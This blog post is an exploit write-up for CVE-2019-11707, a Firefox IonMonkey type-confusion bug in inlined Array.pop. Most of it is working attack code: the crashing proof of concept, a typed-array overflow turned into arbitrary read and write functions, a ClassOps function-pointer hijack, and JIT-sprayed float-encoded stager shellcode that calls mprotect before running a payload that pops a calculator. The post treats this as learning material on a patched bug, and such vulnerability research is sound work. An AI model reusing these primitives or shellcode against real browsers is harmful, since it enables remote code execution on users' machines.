tl;dr

  • Exploit code for a vulnerability in Firefox, found by saelo and coinbase security.
  • IonMonkey does not check for indexed elements on the current element’s prototypes, and only checks on ArrayPrototype. This leads to type-confusion after inlining Array.pop.
  • We confuse a Uint32Array and a Uint8Array to get a overflow in an ArrayBuffer and proceed to convert this to arbitrary read-write and execute shellcode.

I was always very curious about vulnerabilities that kept popping up in the JIT compilers of various popular browsers. A couple of months ago, I came across CVE-2019-11707, which was a type-confusion bug in array_pop, found by saelo from Google’s Project Zero Team and coinbase security and a few days ago decided to try and write an exploit for the same.

This post focuses mainly on the exploitation part. By the way, this is my first time trying to exploit a JIT bug, so if anyone reading this finds any errors in the post please do correct me :) So lets dive in….

Vulnerability

The vulnerability has actually been well described by saelo on the Project Zero bug tacker. Anyway I’ll go over the essential details here.

So the main issue here was that, IonMonkey, when inlining Arrary.prototype.pop, Arrary.prototype.push, and Arrary.prototype.slice was not checking for indexed elements on it’s prototype. It only checks if there are any indexed elements on the Array prototype chain, but like saelo explains, this can easily be bypassed using an intermediate chain between the target object and the Array prototype.

So what is inlining and prototype chains? Lets briefly go over these before actually delving deeper into the bug details.

A prototype is JavaScript’s way of implementing inheritance. It basically allows us to share properties and methods between various objects (we can think of objects as corresponding to classes in other OOP languages).

One of my team-mates have written quite a thorough article on JS prototypes and I would encourage someone new to this concept to read the first 5 section of his post. An in depth post on prototypes can be found on the MDN page.

Inline caching basically means to save the result of a previous lookup so that the next time the same lookup takes place, the saved value is directly used and the cost of the lookup is saved. Thus if we are trying to call, say, Array.pop() then the initial lookup involves the following - fetching the prototype of the array object, then searching through its properties for the pop function and finally fetching the address of the pop function. Now if the pop function is inlined at this point, then the address of this function is saved and the next time Array.pop is called, all these lookups need not be re-computed.

Mathais Baynens, a v8 developer, has written a couple of really good articles on inline caching and prototype’s

Now lets take a look at the crashing sample found by saelo

// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
    if (v4.length == 0) {
        v4[3] = {a: 5};
    }

    // pop the last value. IonMonkey will, based on inferred types, conclude that the result
    // will always be an object, which is untrue when  p[0] is fetched here.
    const v11 = v4.pop();

    // Then if will crash here when dereferencing a controlled double value as pointer.
    v11.a;

    // Force JIT compilation.
    for (let v15 = 0; v15 < 10000; v15++) {}
}

var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;

for (let v31 = 0; v31 < 1000; v31++) {
    v7();
}

Right, so initially an array, v4 is created with all the elements as objects. SpiderMonkey’s type inference system, notices this and infers that the const array v4 will always hold objects.

Now another array p is initialized with all objects and p[0] is set to a float value. Now comes the interesting part. The prototype of the array v4 is changed but the type inference system does not track this. Interesting but not a bug.

So lets look at the function v7. While there are elements in the array, they are simply popped out and their a property is accessed.

The for loop in the tail of the function forces IonMonkey to JIT compile this function into native assembly.

While inlining Array.pop, IonMonkey saw that the type returned by Array.pop is the same as the inferred types and thus did not emit any Type Barrier. It then assumes that the return type will always be an object and proceeds to remove all type checks on the popped element.

And here lies the bug. While inlining Array.pop, IonMonkey should have checked that the prototype of the array does not have any indexed properties. Instead, it only check that the ArrayPrototype does not have any indexed properties. So this means that if we have an intermediate prototype between the array and the ArrayPrototype, then the elements on that wont be checked ! Here is the relevant snippet from js/src/jit/MCallOptimize.cpp in the function IonBuilder::inlineArrayPopShift


bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script()));
if (hasIndexedProperty) {
    trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
    return InliningStatus_NotInlined;
    }

Here’s how this can be bypassed

prototype-corruption

So what is so great about placing indexed elements on the prototype of the Array? When the array is a sparse one and Array.pop encounters an empty element ( JS_ELEMENTS_HOLE ), it scans up the prototype chain for a prototype that has indexed elements, and an element corresponding to the desired index. For eg,

js> a=[]
[]
js> a[1]=1 // Sparse Array - element at index 0 does not exist
1
js> a
[, 1]
js> a.__proto__=[1234]
[1234]
js> a.pop()
1
js> a.pop() // Since a[0] is empty, and a.__proto__[0] exists, a.__proto__[0] is returned by Array.pop
1234

Now the problem - while JIT compiling the function v7, all type checks were removed as the observed types were same as inferred one and the TI system does not track types on prototypes. After all original elements have been popped off the array v4, if v7 is called again, v4[3] is set to an object. This means that v4 is now a sparse array since v4[0], v4[1] and v4[2] are empty. So Array.pop while trying to pop off v4[2] and v4[1], returns values from the prototype. Now when it tries to do the same for v4[0], a float value is returned instead of an object. But Ion still thinks that the value returned by Array.pop (float now) is an object, since there are no type checks! Ion then goes on to the next part of the PoC code and tries to fetch the property a of the returned object. But it crashes here as the value returned is not a pointer to an object but a user controlled float.

Gaining arbitrary read-write

I spent quite some time trying to get leaks. Initially my idea was to create an array of floats and set an element on the prototype to an object. Thus Ion would assume that Array.pop always returns a float and would treat an object pointer as a float and leak out the address of the pointer.

But this was not to be as due to some reason, there was a check in the emitted code to verify that the value returned by Array.pop was a valid float or not. An object pointer is a tagged pointer and thus an invalid float value. I am not sure why that check was there in the code, but due to that I was unable to get leaks from this method and had to spent some time thinking of an alternative.

By the way I had also written an post on some SpiderMonkey data-structures and concepts which I will be using soon.

Confusing Uint8Array and Uint32Array

Since the float approach did not work, I was playing around with how different types of objects are accessed when JIT compiled. While looking at typed array assignment, I came across something interesting

mov    edx,DWORD PTR [rcx+0x28] # rcx contains the starting address of the typed array
cmp    edx,eax
jbe    0x6c488017337
xor    ebx,ebx
cmp    eax,edx
cmovb  ebx,eax
mov    rcx,QWORD PTR [rcx+0x38] # after this rcx contains the underlying buffer
mov    DWORD PTR [rcx+rbx*4],0x80

Here rcx is the pointer to the typed array and eax contains the index we are assigning. [rcx+0x28] actually holds the size of the typed array. So a check is made to ensure that the index is less than the size but no check is made to verify the shape of the object (as type checks are removed). This means that, if the compiled JIT code is for a Uint32Array and the prototype contains a Uint8Array, there will be an overflow. This is because Ion always expects a Uint32Array (evident from the last line of the assembly code, where it is directly doing a mov DWORD PTR), but if the typed array is a Uint8Array, then it’s size will be larger (because now each element is of one byte each instead of a dword).

Thus if we pass a index that is larger than than the Uint32Array size it will pass the check and get initialized.

For example the above code is the compiled form for -

v11[a1] = 0x80

Where v11 = a Uint32Array. Lets say that the size of the underlying ArrayBuffer for this is 32 bytes. That means the size of this Uint32Array is 32/4 = 8 elements. Now if v11 is suddenly changed to a Uint8Array over the same underlying ArrayBuffer, the size ([rcx+0x28]) is 32/1 = 32 elements. But while assigning the value, the code is still using a mov DWORD PTR instead of a mov BYTE PTR. Thus if we give the index as 30, the check is passed as it is compared with 32 (not 8 :). Thus we write to buffer_base+(30*4) = buffer_base+120 whereas the buffer is only 32 bytes long!

Now all we have to do is convert a buffer overflow to an arbitrary read-write primitive. This overflow is in the buffer of the ArrayBuffer. Now if the buffer is small enough (I think < 96 bytes, not sure though), then this buffer is inlined, or in other words, lies exactly after the metadata of the ArrayBuffer class. First lets take a look at the code that can achieve this overflow.


buf = []
for(var i=0;i<100;i++)
{
  buf.push(new ArrayBuffer(0x20));
}

var abuf = buf[5];

var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];

function vuln(a1) {

    if (arr.length == 0) {
        arr[3] = e;
    }

    /*

    If the length of the array becomes zero then we set the third element of
    the array thus converting it into a sparse array without changing the
    type of the array elements. Thus spidermonkey's Type Inference System does
    not insert a type barrier.

    */

    const v11 = arr.pop();
    v11[a1] = 0x80
    for (let v15 = 0; v15 < 100000; v15++) {}
}

p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    vuln(18);
}

buf is an array of ArrayBuffer, each of size 0x20. In the memory, all these allocated ArrayBuffer will lie consecutively. Here is how they will be -

buf_array

Now if we have an overflow in the data buffer of the second element on the buf array, then we can go and edit the metadata of the consecutive ArrayBuffer. We can target the length field of the ArrayBuffer, which is the one that actually specifies the length of the data buffer. Once we increase that, the third ArrayBuffer in the buf array attains an arbitrary size. Thus now the data buffer of the third ArrayBuffer overlaps with the fourth ArrayBuffer and this allows us to leak stuff out from the metadata of the fourth ArrayBuffer!

In the above code, we edit the length of the ArrayBuffer at index 6 and set it to 0x80. Thus now we can leak data from the metadata of the 7th element and get the leaks that we want!


leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);

leak = aa.slice(0x50,0x58);
group = aa.slice(0x40,0x48);

Here, the leak is the address of the first view of this ArrayBuffer which is a Uint8Array view (the leaker object). group is the address of this ArrayBuffer. Right, so now that we have the leaks, we need to convert this into an arbitrary read-write primitive. For that we will edit the shifted pointer to data buffer of the ArrayBuffer at index 7 to point to an arbitrary address. Let’s keep this arbitrary address as the address of the Uint8Array that we just leaked. Thus, the next time we create a view on that ArrayBuffer, its data buffer will be pointing to a Uint8Array (i.e leaker).

Now with this we can edit the data pointer of the leaker object and point it to anywhere we like. After that, viewing the array leaks the value at that address, and writing to the array edits the content of that address.

changer = new Uint8Array(buf[7])

function write(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}

function read(addr){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker.slice(0,8)
}

Cool, so now that we have arbitrary read-write in the memory, all that we have to do is to convert this to code execution!

Gaining code execution

There are a host of ways to achieve code execution. From here, I came across an interesting way to inject and execute shellcode, and decided to try it out in this scenario.

The author of the above post explains the concept beautifully, but I just over the essentials here for the sake of completeness.

Like I mentioned in my previous post on SpiderMonkey internals, each object is associated with a group which consists of a JSClass object. The JSClass contains an element of ClassOps, which holds the function pointers that control how properties are added, deleted etc. If we manage to hijack this function pointers, then code execution is a done job.

We can overwrite the class_ pointer with an address that is chosen by us. At this address we forge the entire js::Class structure. As for the fields we can these leak out from the original Class object. Here we just need to make sure that cOps is pointing to a table of function pointers that we had written in the memory. In this exploit I will be overwriting the addProperty field with the pointer to the shellcode


grp_ptr = read(aa)
jsClass = read_n(grp_ptr,new data("0x30"));

name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)

Now lets focus on where we want to direct the control flow to….

Injecting Shellcode

We will, more or less, be using the same technique as displayed by the author in the above mentioned post. Let’s create a function to hold our shellcode…

buf[7].func = function func() {
  const magic = 4.183559446463817e-216;

  const g1 = 1.4501798452584495e-277
  const g2 = 1.4499730218924257e-277
  const g3 = 1.4632559875735264e-277
  const g4 = 1.4364759325952765e-277
  const g5 = 1.450128571490163e-277
  const g6 = 1.4501798485024445e-277
  const g7 = 1.4345589835166586e-277
  const g8 = 1.616527814e-314
}

This is a stager shellcode that will mprotect a region of memory with read-write-execute permissions. Here is a rough breakdown of the same.

# 1.4501798452584495e-277
mov rcx, qword ptr [rcx]
cmp al,al

# 1.4499730218924257e-277
push 0x1000

# 1.4632559875735264e-277
pop rsi
xor rdi,rdi
cmp al,al

# 1.4364759325952765e-277
push 0xfff
pop rdi

# 1.450128571490163e-277
not rdi
nop
nop
nop

# 1.4501798483875178e-277
and rdi, rcx
cmp al, al

# 1.4345589835166586e-277
push 7
pop rdx
push 10
pop rax

# 1.616527814e-314
push rcx
syscall
ret

So why did we assign this function as a property of buf[7]? Well, we know the address of buf[7] and thus we can get the address of any of its properties using our arbitrary read primitive. Thus in this way we can get the address of this function. But before proceeding further lets first JIT compile our function….

for (i=0;i<100000;i++) buf[7].func()

Cool, now we have compiled our own shellcode! But hold on we don’t know the address of that shellcode yet…. But that is why we assigned this function as a property of buf[7]. Since this is the latest property added, it will be at the top in the slots buffer and with the arbitrary read that we have, we can easily read this address.

Once we have the base address of the function, we can leak a JIT pointer from the JSFunction‘s jitInfo_ member. After this we just have to find where the shellcode starts, which is the reason that we have included a magic value at the start of the shellcode.

So now we have all that we need to achieve control flow - a target to overwrite, a target to jump to and an arbitrary rw primitive. So lets go and overwrite that clasp_ pointer that we have had our eye on!

First we create a Uint8Array to hold our shellcode. Then we get the address of this Uint8Array the same way we found out the address of that function with which we compiled our shellcode. Our aim is to get the address of the buffer where our shellcode is saved. Once we get the starting address of the Uint8Array that holds the shellcode, we just add 0x38 to this and we get the address of the buffer where our raw shell code is stored.

Remember that this region is not executable yet, but we will make it so by using our stager shellcode. In this exploit I will be using the function pointer for addProperty to gain code execution. This pointer is triggered, as the name suggests, when we try to add a property to an object.

obj.trigger = some_variable

One thing I noticed is that when this is called, the rcx register contains a pointer to the property that is to be added (some_variable in this case). Thus we can pass some arguments to our stager shellcode in this manner. I am passing the address of the shellcode buffer to the stager shellcode. The stager shellcode will make that entire page rwx and then jump to our shellcode.

Note that here the shellcode calls execve to execute /usr/bin/xcalc.

Triggering on the Browser

Obviously since I got this far, I felt like triggering this exploit on a vulnerable version of Firefox browser :)

First I grabbed an older version of FireFox (66.0.3), which is vulnerable to this CVE, from here.

Next is to disable the sandbox. For this I set the value of security.sandbox.content.level to 0 in about:config

And that is it! Ideally it should work like this. I put the exploit file in my localhost and when I access it, a calculator should be popped!

Now for the best part….. Popping the calculator

Conclusion

It was fun writing an exploit for this CVE and I learned a lot of things en-route.

Apparently this bug was used, in combination with a firefox sandbox escape, to exploit systems in the wild. Coinbase Security recently released a blog post on how they detected this. If we enable the sandbox, then its seccomp filter catches the execve syscall and immediately crashes the tab.

Like I mentioned before this was my first time exploiting a JIT bug and I might not have been completely accurate/clear in some parts. If you spot an error or have some suggestions/clarifications/questions please do mention in the comments section below or ping me on twitter

I have uploaded the full exploit code on github. There are too many .reverse() because the utility functions (like add, subtract, right shift, left shift etc) that I am using in this exploit were not compatible with little endian. I had written them while trying another challenge, and was too lazy to change it :P. I’ll probably do that after sometime, when my semester is over.

References


 Comments

 Unable to load Disqus, please make sure your network can access.